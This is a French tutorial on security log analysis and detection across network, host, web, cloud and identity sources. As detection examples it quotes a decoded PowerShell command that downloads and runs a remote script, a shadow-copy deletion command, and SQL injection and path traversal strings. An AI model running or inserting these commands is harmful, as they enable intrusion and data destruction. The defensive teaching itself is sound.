Surveillance de sécurité et analyse des journaux

Un événement est un fait observable, comme une connexion ou le démarrage d’un processus. Un journal enregistre des événements. Une alerte indique que des événements surveillés correspondent à une logique de détection. Un incident menace effectivement ou de façon imminente les informations ou les systèmes, ou enfreint ou menace d’enfreindre de façon imminente la loi, la politique ou les procédures de sécurité ou la politique d’utilisation acceptable. Un analyste vérifie les éléments de preuve avant de décider comment classer une alerte.

Choisis une source selon ce qu’elle montre

Les pare-feu enregistrent les connexions autorisées et refusées. Les proxys et les passerelles web sécurisées ajoutent les URL, les agents utilisateurs et les tailles des transferts. Les passerelles VPN montrent les sessions à distance ; les outils IDS/IPS signalent le trafic qui correspond à leurs signatures. Les enregistrements de flux, notamment NetFlow et IPFIX, résument les échanges par adresses, ports, protocole, horaires, paquets et octets. Ils restent utiles pour le trafic chiffré parce qu’ils en décrivent la forme, mais ne contiennent pas de charge utile.

Les journaux des hôtes révèlent l’activité derrière ces connexions. Les événements Windows Security comprennent l’authentification, les modifications de comptes et la création de processus lorsque l’audit est activé. Les journaux System et Application montrent les services et les logiciels. Sysmon et l’EDR ajoutent des détails sur les processus, les fichiers, le registre et le réseau. La journalisation des blocs de script PowerShell enregistre le contenu des scripts dans l’événement 4104. Les messages d’authentification Linux apparaissent couramment dans /var/log/auth.log sur les systèmes de la famille Debian ou /var/log/secure sur ceux de la famille Red Hat. Le journal systemd se lit avec journalctl ; auditd enregistre l’activité sélectionnée par ses règles d’audit.

Les journaux d’accès et d’erreurs web, les audits de bases de données et d’applications métier ainsi que les passerelles de messagerie expliquent les requêtes et l’utilisation des données. Les constats des antivirus, des outils DLP, des WAF et des scanneurs de vulnérabilités ajoutent une autre vue. Le constat d’un outil de sécurité reste un événement à interpréter avec l’activité sous-jacente.

Suis une adresse dans le temps

Un proxy enregistre un téléchargement par 10.20.30.45 à 14 h 02 UTC. Le bail DHCP attribue cette adresse à LAPTOP-0193 de 13 h 30 à 21 h 30 ce jour-là. Recherche les événements de processus de cet ordinateur portable autour du téléchargement. Le titulaire actuel du bail pourrait être un autre équipement ; associer l’adresse sans tenir compte de la période du bail peut orienter l’investigation vers le mauvais hôte.

Vérifie la collecte avant de t’y fier

Vérifie dans un échantillon réel que les champs nécessaires à ta question sont présents. L’événement Windows 4688 nécessite la stratégie de capture des lignes de commande pour inclure le texte de la commande. L’événement réseau Sysmon 3 est désactivé par défaut. Un SIEM ne reçoit que les données qui lui sont envoyées. Donne la priorité aux détails utiles sur les actifs critiques et les identités privilégiées, et vérifie aussi les connexions autorisées : une connexion autorisée peut transporter une attaque.

L’analyse syntaxique extrait des champs nommés d’une entrée brute. La recherche d’un fragment de texte peut trouver une ligne ; les champs analysés permettent de compter les échecs par utilisateur, de comparer les adresses et de trier par horodatage de l’événement. Conserve l’entrée brute pour pouvoir vérifier l’extraction.

Lis d’abord la structure

Un message syslog RFC 5424 commence par la priorité, la version, l’horodatage, l’hôte, l’application, l’identifiant du processus, l’identifiant du message, les données structurées et le texte du message. Les horodatages de l’ancien format RFC 3164, comme Mar 14 10:15:02, omettent l’année et le fuseau horaire, qu’il faut déterminer d’après le contexte de la source.

La priorité syslog combine la catégorie de service et la gravité :

Pour <38>, la division par 8 donne la catégorie de service 4 et un reste de 6, Information. Pour <34>, la même catégorie a la gravité 2, Critique. Les niveaux de gravité vont de 0 Urgence à 1 Alerte, 2 Critique, 3 Erreur, 4 Avertissement, 5 Avis, 6 Information et 7 Débogage. Plus le nombre est petit, plus la gravité est élevée. Il s’agit de l’évaluation de l’application émettrice : un échec SSH de niveau Information peut tout de même faire partie d’une attaque.

Les fichiers Windows EVTX peuvent être consultés sous forme de XML ou de texte mis en forme. La section System indique le fournisseur, l’identifiant de l’événement, l’heure de création en UTC, l’ordinateur et le canal. EventData contient les champs propres à l’événement. Pour 4625, examine TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName et ProcessName. Le type 10 signifie RemoteInteractive ; le type 2 désigne une ouverture de session locale interactive. Un même identifiant d’événement peut décrire des chemins d’accès très différents.

Extrais les champs selon leur sens

Les analyseurs JSON recherchent les clés, y compris les chemins imbriqués comme responseElements.ConsoleLogin. Ils doivent gérer les champs absents et nuls ainsi que les changements dans l’ordre des clés. Les enregistrements clé-valeur nomment directement les valeurs, comme dans src=203.0.113.45 dport=3389 action=deny. CEF ajoute un en-tête séparé par des barres verticales contenant le fournisseur, le produit, la signature, le nom et la gravité avant ses extensions clé-valeur ; utilise un analyseur qui comprend ses caractères d’échappement.

Dans un journal d’accès web au format combiné, lis l’adresse du client, l’identité, l’utilisateur authentifié, l’heure et son décalage, la requête, l’état, le nombre d’octets de la réponse, le référent et l’agent utilisateur. Un tiret signifie qu’une valeur est absente. Les agents utilisateurs sont fournis par les clients : un nom de scanneur est donc un élément de preuve utile, mais le nom d’un navigateur ordinaire peut être imité.

Extrais deux formes de messages SSH

Cette expression régulière traite aussi bien un nom d’utilisateur normal que la mention « invalid user » :

Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)

Dans Failed password for invalid user admin from 203.0.113.45 port 52114, les valeurs capturées sont admin, 203.0.113.45 et 52114. Le groupe facultatif non capturant prend en compte « invalid user » et l’espace qui suit sans en faire le nom d’utilisateur. \S+ capture du texte sans espace ; \d+ capture des chiffres.

Le motif extrait une valeur ayant la forme d’une adresse ; il accepte aussi des octets comme 999, donc la validation de l’adresse est une étape distincte. Évite un .* glouton lorsqu’il peut absorber un séparateur de champs. Réunis les enregistrements sur plusieurs lignes avant l’analyse et surveille les échecs d’analyse après les mises à jour logicielles : une structure modifiée peut laisser silencieusement vides les champs de détection.

La collecte doit continuer à fonctionner malgré les interruptions courantes et les interférences délibérées. Une règle précise a peu de valeur si sa source cesse d’émettre ou si ses horodatages placent les événements dans le mauvais ordre.

Choisis et surveille le chemin

Un agent lit les journaux locaux et peut les mettre en tampon, les filtrer, les chiffrer et les transmettre. Les chemins sans agent comprennent syslog, Windows Event Forwarding, l’interrogation périodique des API cloud et les exports vers un stockage ou des flux. L’état de chaque chemin doit être surveillé. Syslog sur UDP au port 514 n’est pas chiffré et ne confirme pas la livraison. TCP ajoute une livraison fiable ; syslog sur TLS au port 6514 ajoute le chiffrement et l’authentification du serveur. Utilise un transport fiable et chiffré sur les réseaux non fiables et mets les événements en tampon pendant les interruptions du collecteur.

Synchronise les horloges des sources avec un service de temps fiable, généralement NTP sur le port UDP 123. Stocke les heures en UTC et conserve le décalage d’origine. L’heure du pare-feu 2026-03-14 10:15:00 +02:00 correspond à 2026-03-14T08:15:00Z. Une horloge d’hôte qui avance de sept minutes place ses événements trop tard et peut inverser une chronologie. Une forte dérive perturbe aussi les authentifications sensibles à l’heure ; Windows Kerberos autorise cinq minutes par défaut.

L’horodatage de l’événement indique quand l’activité a eu lieu. L’horodatage d’ingestion indique quand la plateforme l’a reçue. Les événements mis en tampon et ceux du cloud peuvent arriver en retard. Effectue la corrélation selon l’horodatage de l’événement et laisse aux recherches planifiées un délai ou une période de recherche rétrospective suffisante pour inclure les arrivées tardives.

Protège et conserve les journaux

Transmets rapidement les journaux hors des hôtes, limite les droits de lecture et de suppression et sépare le contrôle des journaux de l’administration courante. Le stockage immuable et les condensats cryptographiques aident à détecter ou à empêcher les altérations. La validation de l’intégrité CloudTrail utilise des fichiers de condensats SHA-256. Surveille l’événement Windows 1102 pour l’effacement du journal d’audit et 4719 pour les changements de stratégie d’audit, ainsi que les actions cloud comme StopLogging et DeleteTrail. Restreins l’accès, car les journaux peuvent contenir des données personnelles et sensibles.

La durée de conservation dépend des besoins d’investigation et des obligations légales, contractuelles ou réglementaires applicables. Par exemple, l’exigence 10.5.1 de PCI DSS v4.0 impose au moins 12 mois d’historique d’audit, dont les trois derniers mois immédiatement disponibles. Le stockage récent interrogeable est souvent appelé stockage à chaud ; les archives coûtent moins cher, mais demandent plus de temps pour la recherche ou la restauration. Les durées par défaut peuvent être trop courtes : les journaux d’audit et de connexion Entra sont conservés 7 jours avec Free ou 30 jours avec P1/P2, tandis que l’historique des événements CloudTrail offre 90 jours d’événements de gestion. L’export permet une conservation plus longue.

Estime le volume et surveille les silences

Pour 2 000 terminaux produisant chacun 5 000 événements par jour de 500 octets chacun, le volume brut quotidien est de 5 000 000 000 octets, soit 5 Go. Quatre-vingt-dix jours nécessitent 450 Go ; une année nécessite 1,825 To avant compression, indexation et autres surcoûts de stockage.

Suis le volume attendu et les signaux de vie des sources critiques, les erreurs des collecteurs, l’accumulation dans les files d’attente et les échecs d’analyse syntaxique. « Aucun événement de DC01 pendant 30 minutes » est une alerte sur l’état de fonctionnement, même si aucune alerte d’attaque ne s’est déclenchée. Une norme de journalisation devrait préciser les catégories d’audit, la capture des lignes de commande, la journalisation des scripts et le niveau de détail adapté à chaque type de système. Une collecte limitée aux erreurs manque l’activité de sécurité ; une collecte habituelle au niveau débogage peut submerger le stockage.

Un événement Windows, un message Linux et un enregistrement cloud peuvent décrire le même type d’action avec des noms différents. La normalisation donne à ces champs des noms, des types et des conventions de valeurs communs. L’enrichissement ajoute des informations sur les personnes, les systèmes et les destinations concernés.

Normalise le sens, pas seulement les noms

Pour les échecs de connexion de jdoe depuis 203.0.113.45, les trois sources peuvent toutes devenir event.category=authentication, event.outcome=failure, user.name=jdoe et source.ip=203.0.113.45. Une seule règle d’authentification regroupée par source peut alors interroger les trois.

Les schémas communs comprennent ECS, OCSF, CIM et ASIM. Les noms de champs de l’exemple suivent le style ECS. Un schéma définit aussi les types de données et les valeurs autorisées. Stocke les adresses dans un type adapté aux adresses pour permettre les recherches par sous-réseau. Convertis les heures en UTC au format ISO 8601. Associe les différentes représentations d’une réussite ou d’un échec à un résultat commun, en utilisant le sens réel de l’action source. Le résultat « autorisé » d’un pare-feu décrit une décision relative à une connexion, pas une authentification réussie d’un utilisateur.

Associe les identités comme EXAMPLE\jdoe, jdoe@example.com et JDOE au même compte lorsqu’elles représentent réellement ce compte. Ignorer la casse convient lorsque la source ne distingue pas les majuscules des minuscules. Conserve les distinctions lorsque la casse compte et évite de fusionner deux personnes simplement parce que leurs noms d’utilisateur courts correspondent.

Ajoute un contexte qui change la question

Un enrichissement utile comprend le responsable de l’actif, son système d’exploitation, son rôle métier, sa criticité et son exposition à Internet ; le service de l’utilisateur, ses privilèges, le statut de compte de service et le statut d’emploi ; l’historique DHCP ; ainsi que le propriétaire réseau, la localisation approximative et la réputation des adresses publiques.

Une alerte signale des échecs répétés pour svc-backup depuis 10.20.30.45. Le contexte de l’actif indique un ordinateur portable du marketing. Le contexte d’identité indique que ce compte de service ne se connecte normalement que depuis le serveur de sauvegarde 10.0.8.12. Cette relation inattendue mérite attention avant même que le nombre d’échecs ne devienne élevé.

Sache quand le contexte a été ajouté. L’enrichissement à l’ingestion conserve le contexte disponible à l’arrivée de l’événement. L’enrichissement à la recherche montre généralement l’état actuel. Le responsable actuel d’un actif ou l’attribution actuelle d’une adresse peut donner une image erronée d’événements anciens ; utilise donc les données historiques lorsque la question porte sur une attribution passée.

Vérifie les associations et les réductions

La géolocalisation peut être faussée par les VPN, les opérateurs mobiles, les proxys et l’hébergement cloud. La réputation change lorsque l’infrastructure change de propriétaire. Utilise ces deux éléments comme preuves complémentaires et vérifie leur ancienneté. Valide les associations de champs par rapport à des exemples bruts : associer une destination à source.ip peut amener une règle à incriminer le mauvais système.

La déduplication supprime les livraisons répétées d’un même événement. L’agrégation combine plusieurs événements, par exemple en stockant un seul compteur pour 1 000 refus. L’agrégation économise de l’espace mais supprime les détails individuels. Conserve les champs et les événements bruts nécessaires aux détections et aux investigations ; les filtrer à la source crée une lacune qu’aucune corrélation ultérieure ne peut combler.

Un indicateur de compromission est un artefact observable qui suggère une compromission. Un indicateur atomique est une adresse, un domaine, une URL ou une empreinte isolée. Un indicateur comportemental est un motif, comme un poste qui contacte de nombreux autres postes sur le port 445. Les valeurs atomiques sont rapides à rechercher et faciles à remplacer ; le comportement décrit ce que fait l’auteur de l’action.

Lis la forme des connexions

Un balayage vertical explore de nombreux ports sur un hôte. Un balayage horizontal explore un port sur de nombreux hôtes. De nombreuses connexions refusées ou réinitialisées avec très peu d’octets correspondent à un balayage, mais les scanneurs de vulnérabilités autorisés font le même travail. Compare la source, le périmètre et les horaires. Les explorations de fond d’un périmètre depuis Internet ont un contexte différent d’un balayage effectué par un poste interne.

Les relations inattendues comptent autant que les ports. Des postes qui se contactent soudainement par SMB 445, RDP 3389 ou WinRM 5985/5986 peuvent indiquer un déplacement latéral. Les serveurs de gestion et les serveurs de rebond peuvent le faire légitimement. Un serveur de base de données qui initie des connexions SSH, un poste exposé à Internet qui accepte RDP ou un trafic dont le protocole ne correspond pas au port mérite un examen plus approfondi. Un numéro de port suggère un service ; il n’établit pas le protocole réellement utilisé.

De nouvelles adresses MAC dans les journaux DHCP, de commutateur, NAC ou de contrôleur sans fil peuvent révéler des équipements non autorisés. Compare avec l’inventaire et les enregistrements d’intégration : une nouvelle imprimante et un équipement inconnu sur un segment de serveurs présentent des risques différents.

Examine les répétitions et les noms

Le beaconing est une prise de contact répétée avec un serveur de commande et contrôle. Les instants 0, 60, 121, 180, 241, 299, 360, 421, 480 et 540 secondes donnent des intervalles de 60 secondes en moyenne, avec une dispersion d’environ 1,1 seconde. De petites requêtes, un agent utilisateur répété et une activité qui se poursuit pendant la nuit renforcent ce motif. Vérifie le processus à l’origine des connexions et la destination, car les outils de mise à jour et de télémétrie contactent aussi leurs serveurs. Les attaquants peuvent ajouter un délai aléatoire, ou gigue.

Le DNS offre une autre vue. Un algorithme de génération de noms de domaine peut produire de nombreux noms d’apparence aléatoire et de nombreuses réponses NXDOMAIN. Un tunnel DNS peut produire de longues étiquettes, de nombreux sous-domaines uniques sous un même domaine et un volume inhabituel de requêtes TXT. Une étiquette DNS est limitée à 63 caractères. L’entropie de Shannon mesure le caractère aléatoire des caractères : example vaut environ 2,52 bits par caractère, tandis que x9f3kq7z2b8wp1md vaut 4,0. Une entropie élevée apparaît aussi dans des noms cloud légitimes ; combine-la avec le volume de requêtes, l’historique de la destination et l’âge du domaine.

Suis le volume et la direction

Une exfiltration possible se manifeste notamment par des transferts sortants inhabituellement volumineux vers de nouvelles destinations, des horaires inhabituels ou un rapport élevé entre données envoyées et reçues. Un serveur qui téléverse 2,3 Go tout en recevant 40 Mo présente un rapport de 57,5 pour 1, en unités décimales. Vérifie les tâches connues de sauvegarde et de synchronisation avant de décider pourquoi cela s’est produit. HTTPS cache le contenu de la charge utile tout en laissant visibles des métadonnées utiles sur le volume et les horaires.

Le NAT peut placer de nombreux équipements derrière une adresse publique. Retrouve la source interne à l’aide des enregistrements NAT, de proxy ou de pare-feu interne à l’heure concernée. Le pays d’une destination ne fournit pas à lui seul assez de contexte pour décider si une connexion est malveillante.

La télémétrie des hôtes relie l’activité réseau au programme et à l’utilisateur responsables. La création de processus est particulièrement utile : Windows 4688 avec capture de la ligne de commande ou Sysmon 1 montre le nouveau processus, la ligne de commande, le parent et l’utilisateur. Sysmon fournit aussi des empreintes et des identifiants de processus utiles pour relier les événements.

Lis le parent et les arguments

Des outils légitimes et signés peuvent être détournés comme LOLBins. certutil.exe peut télécharger des fichiers, mshta.exe peut exécuter le contenu d’un script distant et rundll32.exe peut charger une DLL depuis un dossier accessible en écriture. vssadmin delete shadows /all /quiet supprime les clichés instantanés et peut précéder un rançongiciel. Évalue ensemble les arguments, le parent, l’utilisateur, le chemin, le signataire et les actions environnantes. Un nom de fichier familier seul dit peu de chose sur l’intention.

Le paramètre -EncodedCommand de PowerShell transporte du texte UTF-16LE encodé en Base64. Le décodage de la commande de l’exemple donne iwr http://198.51.100.23/a.ps1|iex : télécharger un script et l’exécuter en mémoire. L’encodage et les fenêtres masquées apparaissent aussi en administration. Lis le contenu décodé et, lorsqu’il est disponible, l’événement de bloc de script 4104.

Recherche un moyen de revenir

La persistance permet de conserver l’accès après un redémarrage ou une fermeture de session. Surveille les nouveaux services (7045 dans System ou 4697 dans Security), les tâches planifiées (4698), les valeurs Run du registre (Sysmon 13), les fichiers de démarrage (Sysmon 11) et les nouveaux comptes locaux (4720). Sous Linux, examine les entrées cron, les unités systemd et les nouvelles clés dans ~/.ssh/authorized_keys. Une tâche qui pointe vers C:\Users\Public\upd.exe appelle une autre explication qu’un déploiement logiciel documenté.

L’effacement des journaux (1102), les modifications de la stratégie d’audit (4719), l’arrêt du service Sysmon (Sysmon 4) ou la suppression d’un agent EDR peuvent indiquer une altération des dispositifs de surveillance. Vérifie rapidement les enregistrements de maintenance. D’autres indices comprennent les outils d’accès à distance non approuvés, les accès inhabituels à la mémoire de lsass.exe (Sysmon 10) et les modifications rapides de fichiers accompagnées de demandes de rançon. Une utilisation élevée du processeur ou du processeur graphique peut correspondre à du minage de cryptomonnaie, mais compare-la à la charge de travail et aux tâches planifiées ; un bref pic est un élément de preuve faible.

Construis la chaîne d’exécution

À 09:12:04 UTC, Outlook lance Word avec Invoice_8841.docm. À 09:12:31, Word lance une commande PowerShell encodée. À 09:12:33, ce processus PowerShell se connecte à 198.51.100.23:80 ; à 09:12:40, upd.exe est écrit ; à 09:13:02, une tâche planifiée le lance à l’ouverture de session. Relie les enregistrements de processus et de fichiers, pas seulement les horodatages proches. La chaîne montre l’acheminement, l’exécution, le téléchargement et la persistance et justifie une escalade. L’absence de télémétrie des hôtes doit rester une lacune visible dans le dossier.

Les journaux web et applicatifs révèlent l’activité cachée dans des connexions HTTPS ordinaires. Les journaux d’accès décrivent les requêtes, les codes de réponse, les tailles et les informations déclarées par les clients. Les audits applicatifs et de bases de données ajoutent qui a accédé aux données, modifié les autorisations, exécuté des requêtes ou exporté des enregistrements.

Décode la requête

L’encodage pour cent représente les octets par % suivi de deux chiffres hexadécimaux. Le fragment id=1%27%20OR%201%3D1--%20 devient id=1' OR 1=1-- , ce qui suggère une injection SQL. Le chemin ..%2F..%2F..%2Fetc%2Fpasswd devient ../../../etc/passwd, ce qui suggère une traversée de répertoires. D’autres indices comprennent UNION SELECT, des balises de script ou des séparateurs shell suivis de commandes.

Décode les couches dans l’ordre. %252e%252e%252f devient %2e%2e%2f, puis ../. Conserve à la fois la requête brute et son interprétation décodée ; remplacer l’original fait perdre la preuve de la façon dont l’entrée a été envoyée.

Lis la séquence autour de la réponse

Les codes décrivent le traitement HTTP, pas l’ensemble du résultat du point de vue de la sécurité. Certaines applications utilisent 200 pour les pages d’erreur, et un WAF peut renvoyer une page de blocage avec 200. Un agent utilisateur de scanneur est contrôlé par le client. Ni un agent utilisateur familier ni une requête bloquée ne suffisent à conclure l’investigation.

Dans la séquence de l’exemple, un client effectue 412 requêtes en trois minutes, dont 398 renvoient 404. Une tentative d’injection renvoie ensuite 500 ; une requête UNION SELECT ultérieure renvoie 200 avec 48 210 octets contre 2 100 habituellement. Cette taille environ 23 fois plus élevée après les tentatives étaye l’hypothèse d’une exposition de données. Vérifie les requêtes de base de données et les événements d’audit applicatifs pour établir ce qui a réellement été renvoyé.

Relie les éléments applicatifs et ceux de l’hôte

Un web shell est un script qui permet à un attaquant d’exécuter des commandes par des requêtes web. Un nouveau script dans un dossier de téléversement, des requêtes POST répétées depuis quelques clients et des paramètres comme cmd= justifient une investigation. Un processus de serveur web correspondant qui lance cmd.exe ou /bin/sh ajoute une preuve directe d’exécution sur l’hôte.

Surveille aussi les identités applicatives : des réussites après des échecs, des origines inattendues de clés API, des rafales d’appels atteignant les limites de débit et un utilisateur ordinaire qui exporte des milliers d’enregistrements peuvent révéler un usage abusif de compte. Ces motifs nécessitent des champs d’audit utiles, pas seulement des journaux d’erreurs. Si les requêtes et les erreurs augmentent brusquement après un déploiement, examine le déploiement et les sources clientes en plus des hypothèses d’attaque ; une version défectueuse ou un véritable afflux de trafic peut aussi provoquer une perturbation.

Les fournisseurs cloud protègent leur infrastructure ; les clients doivent activer, collecter et examiner les données de surveillance de leurs comptes, identités et ressources. Les clics dans la console, les scripts, les outils en ligne de commande et les modèles d’infrastructure gèrent généralement les ressources par API. Leur piste d’audit indique qui a créé, modifié ou supprimé une ressource. L’activité dans une machine virtuelle ou une application nécessite toujours les journaux de la charge de travail.

Choisis la bonne couche cloud

L’historique des événements CloudTrail fournit 90 jours d’événements de gestion enregistrés par région. Un historique plus long et une couverture plus large nécessitent une configuration volontaire, et les événements de données sont désactivés par défaut. Les journaux Google Admin Activity sont toujours écrits et ne peuvent pas être désactivés ; les journaux Data Access sont désactivés par défaut sauf pour BigQuery. Active une collecte utile des accès aux données sur les ressources sensibles et tiens compte de son volume.

Lis une action cloud champ par champ

Dans CloudTrail, eventTime est en UTC ; eventSource indique le service ; eventName indique l’action d’API. userIdentity indique l’appelant, tandis que requestParameters indique la cible et les paramètres demandés. Lis aussi sourceIPAddress, userAgent, awsRegion, responseElements et tout errorCode ou errorMessage.

Pour une connexion à la console, examine ConsoleLogin provenant de signin.amazonaws.com, la réussite ou l’échec dans responseElements.ConsoleLogin et additionalEventData.MFAUsed. Pour une nouvelle clé, distingue l’appelant de l’utilisateur nommé dans requestParameters.userName. Il peut s’agir d’identités différentes.

Reconnais les indicateurs cloud liés

Une clé volée peut d’abord appeler GetCallerIdentity, puis énumérer les ressources avec List, Describe et Get. Des résultats AccessDenied répétés révèlent une exploration des autorisations même lorsque les contrôles d’accès résistent. De nouveaux identifiants d’authentification, des prises de rôle inattendues, l’utilisation du compte racine ou des changements qui exposent les ports 22/3389 à 0.0.0.0/0 justifient une vérification du contexte. De nombreuses instances de grande taille équipées de processeurs graphiques dans une région inutilisée peuvent indiquer un détournement de ressources.

Dans la séquence de l’exemple, ci-deploy passe de son adresse habituelle de serveur de compilation et de son agent utilisateur SDK à une nouvelle adresse et à la ligne de commande. Il énumère les ressources, crée une clé pour admin-backup, puis appelle StopLogging. Ensemble, ces actions suggèrent un usage abusif d’identifiants d’authentification, le maintien d’un accès et une tentative d’aveugler la surveillance. Procède à l’escalade et consulte des sources indépendantes pour rechercher l’activité ultérieure.

Collecte les journaux dans les régions et les comptes concernés. Les ressources éphémères peuvent disparaître avant le triage ; utilise des identifiants et des étiquettes de ressource stables et transmets les journaux des hôtes de manière centralisée. Une adresse cloud partagée ne permet pas à elle seule d’identifier un client ni d’établir que l’activité appartient à l’automatisation habituelle de l’organisation.

Un fournisseur d’identité authentifie les utilisateurs pour de nombreuses applications. Son enregistrement de connexion peut indiquer l’utilisateur, l’application, l’adresse, l’équipement, le client, la méthode, le résultat de l’authentification multifacteur, le résultat de la stratégie et la raison de l’échec. Entra sépare les connexions interactives et non interactives des utilisateurs, ainsi que celles des principaux de service et des identités managées. Une recherche limitée aux utilisateurs interactifs manque l’activité des applications et des jetons.

Interprète l’authentification Windows

Les contrôleurs de domaine enregistrent l’activité des tickets Kerberos (4768, 4769, 4771) et la validation des identifiants d’authentification NTLM (4776). L’ordinateur auquel on accède enregistre 4624 en cas de réussite et 4625 en cas d’échec. L’événement 4740 enregistre le verrouillage d’un compte.

Dans 4625, examine à la fois Status et SubStatus. 0xC000006A indique un mot de passe incorrect, 0xC0000064 un nom d’utilisateur inconnu, 0xC0000072 un compte désactivé, 0xC0000234 un compte verrouillé et 0xC000006F une ouverture de session hors des heures autorisées. Ces raisons permettent de distinguer un problème de mot de passe d’un problème de stratégie ou d’état du compte.

Regroupe les événements pour révéler l’attaque

Une attaque par force brute essaie de nombreux mots de passe contre un seul compte. La pulvérisation de mots de passe essaie un ou quelques mots de passe probables sur de nombreux comptes, souvent en restant sous les seuils de verrouillage par compte. Le bourrage d’identifiants réutilise des paires de noms d’utilisateur et de mots de passe divulguées. Compte les tentatives par compte et les comptes distincts par source, puis recherche les réussites. Les attaquants peuvent répartir les tentatives sur plusieurs adresses : aucun de ces regroupements ne fournit donc seul une couverture complète.

Dans l’exemple de pulvérisation, une adresse essaie 46 noms d’utilisateur une fois chacun : 41 résultats indiquent un mot de passe incorrect et cinq un utilisateur inconnu. Une ouverture de session réseau réussie ultérieurement pour m.tanaka depuis cette source augmente la priorité. Elle suggère fortement que des identifiants d’authentification fonctionnent après la pulvérisation, mais vérifie le package d’authentification et l’activité ultérieure : le type 3 peut aussi utiliser des empreintes ou des tickets volés.

Vérifie comment la session a été établie

Le déplacement impossible compare la distance au temps écoulé. Madrid et Séoul sont distantes d’environ 10 000 km ; parcourir cette distance en 45 minutes nécessiterait environ 13 300 km/h. Vérifie les sorties VPN, les bureaux hébergés, la géolocalisation des opérateurs mobiles, les équipements et les résultats des sessions avant de déterminer la cause.

Des demandes d’authentification multifacteur répétées et refusées, suivies d’une approbation, peuvent indiquer une fatigue liée à l’authentification multifacteur. Une session inhabituelle dont l’authentification multifacteur est satisfaite par un jeton existant peut refléter un rejeu de jeton. Les voies d’authentification anciennes sans authentification multifacteur et l’enregistrement d’une nouvelle méthode après une connexion risquée méritent aussi attention. Une étape d’authentification multifacteur accomplie ne suffit pas à expliquer ces situations.

Un compte de service qui se connecte de manière interactive, une connexion réussie au compte d’un employé parti ou l’apparition simultanée d’un nouvel équipement et d’un nouveau lieu peuvent indiquer un accès obtenu par vol. Des échecs répétés à un rythme régulier depuis un équipement interne correspondent souvent à un ancien mot de passe enregistré. Recherche les réussites et les actions qui suivent les échecs, et vérifie les identités des utilisateurs comme celles des charges de travail.

Un attaquant qui obtient un accès peut créer un autre identifiant d’authentification ou ajouter des privilèges pour poursuivre son activité. Les modifications sensibles de comptes et de rôles sont souvent assez rares pour être examinées de près, surtout lorsqu’elles suivent une connexion inhabituelle.

Identifie l’auteur de l’action, la cible et le changement

Lis cinq faits : qui a agi, quel compte ou quelle ressource a été modifié, ce qui a changé, quand et depuis où. Dans un événement de modification de compte, le sujet est l’auteur de l’action et la cible est le compte concerné. Compare ensuite l’action à une demande approuvée et à ce que l’auteur gère normalement.

Les événements Windows comprennent 4720 pour la création d’un compte, 4722 pour son activation, 4724 pour une tentative de réinitialisation de mot de passe et 4738 pour les modifications de compte. Les ajouts de membres apparaissent sous les identifiants 4728, 4732 et 4756 pour les groupes de sécurité globaux, locaux et universels. Examine les groupes sensibles comme Domain Admins, Enterprise Admins, Schema Admins et le groupe local Administrators. L’appartenance imbriquée compte : un changement dans un groupe appartenant à un groupe privilégié peut aussi accorder des privilèges effectifs.

L’événement 4672 attribue des privilèges spéciaux lors d’une nouvelle ouverture de session. Il apparaît pendant le travail courant des administrateurs et du compte système. Demande-toi si ce compte devrait posséder ces privilèges et si l’origine de cette connexion est attendue ; considérer chaque 4672 comme un motif d’escalade produirait du bruit.

Étends les mêmes questions au cloud

Dans AWS, examine CreateUser, CreateAccessKey, les actions d’association de stratégie ou de stratégie incorporée, ainsi que UpdateAssumeRolePolicy. Une modification de la stratégie de confiance peut permettre à un autre compte d’endosser un rôle. Lis le changement réel d’autorisation ou de confiance, pas seulement le nom de l’action.

Les événements d’audit Entra peuvent montrer des ajouts à des rôles, de nouveaux identifiants d’authentification de principaux de service, des consentements à des applications, l’enregistrement de méthodes d’authentification multifacteur et des changements d’accès conditionnel. Un secret ou certificat ajouté à une identité d’application dotée de pouvoirs étendus peut conserver un accès sans demande d’authentification multifacteur à une personne. Un consentement OAuth peut donner à une application un accès durable aux courriels ou aux fichiers même après le changement du mot de passe d’un utilisateur ; examine l’octroi de consentement lui-même.

Relie les événements autour d’un changement de privilège

À 23 h 40 UTC, le compte de support hd-ops3 ajoute svc-backup à Domain Admins sans ticket. À 23 h 31, l’auteur de l’action s’était connecté depuis une origine VPN inattendue ; à 23 h 44, la cible utilise RDP vers DC02. L’auteur inhabituel, l’absence d’autorisation, l’accès risqué précédent et l’utilisation immédiate du nouveau droit justifient une escalade.

Douze comptes créés par le service de gestion des identités à 07 h et correspondant à la liste d’intégration racontent une autre histoire. L’autorisation est un élément de preuve à vérifier, pas une hypothèse fondée sur le nom d’un administrateur.

Concentre la surveillance sur les appartenances privilégiées, les rôles dotés de pouvoirs étendus, les comptes de service, les identifiants d’authentification, les consentements et les changements effectués hors des canaux habituels. La seule création de comptes ne permet pas de repérer un attaquant qui modifie un compte ou une application existante. Conserve les identifiants d’événements, les valeurs avant et après et la référence d’autorisation dans le dossier de triage pour que la décision puisse être revue.

Une référence de fonctionnement décrit le comportement normal d’une entité sur une période de référence. Une anomalie est un écart important par rapport à cette référence. Une activité inhabituelle demande une explication : il peut s’agir d’une attaque, d’un changement métier ou d’un problème de données.

Compare les bons éléments

Une référence de fonctionnement utile peut décrire le volume, les horaires, les relations ou la configuration. Par exemple, le nombre d’octets par jour, les horaires de travail habituels, les destinations normales, les logiciels approuvés et les ports ouverts. Une référence fondée sur un groupe de pairs compare les personnes ou systèmes qui effectuent un travail semblable, ce qui aide lorsqu’une entité a peu d’historique.

Choisis d’abord l’entité et l’indicateur. Utilise plusieurs semaines pour saisir les cycles hebdomadaires et inclus les pics de fin de mois ou de trimestre lorsqu’ils sont pertinents. Retire les incidents et interruptions connus des données d’apprentissage. Compare le lundi à 09 h à des périodes semblables d’autres lundis, pas à un dimanche calme. Les nouveaux logiciels, les changements organisationnels et l’activité saisonnière nécessitent une revue ; sinon, les changements ordinaires deviennent un flux d’anomalies.

Calcule et interprète l’écart

La moyenne mesure le niveau moyen et l’écart-type mesure la dispersion. Un score z exprime la distance à la moyenne en nombre d’écarts-types :

Pour FS01, les totaux sortants de dix jours ouvrés ont une moyenne de 4,1 Go et un écart-type d’échantillon d’environ 0,26 Go. Un seuil situé à trois écarts-types au-dessus de la moyenne est d’environ 4,87 Go avec l’écart-type non arrondi. Les 9,6 Go d’aujourd’hui ont un score z d’environ 21. Les recherches suivantes devraient établir la destination, le processus ou le compte et les travaux planifiés ; la statistique seule ne peut pas fournir de cause.

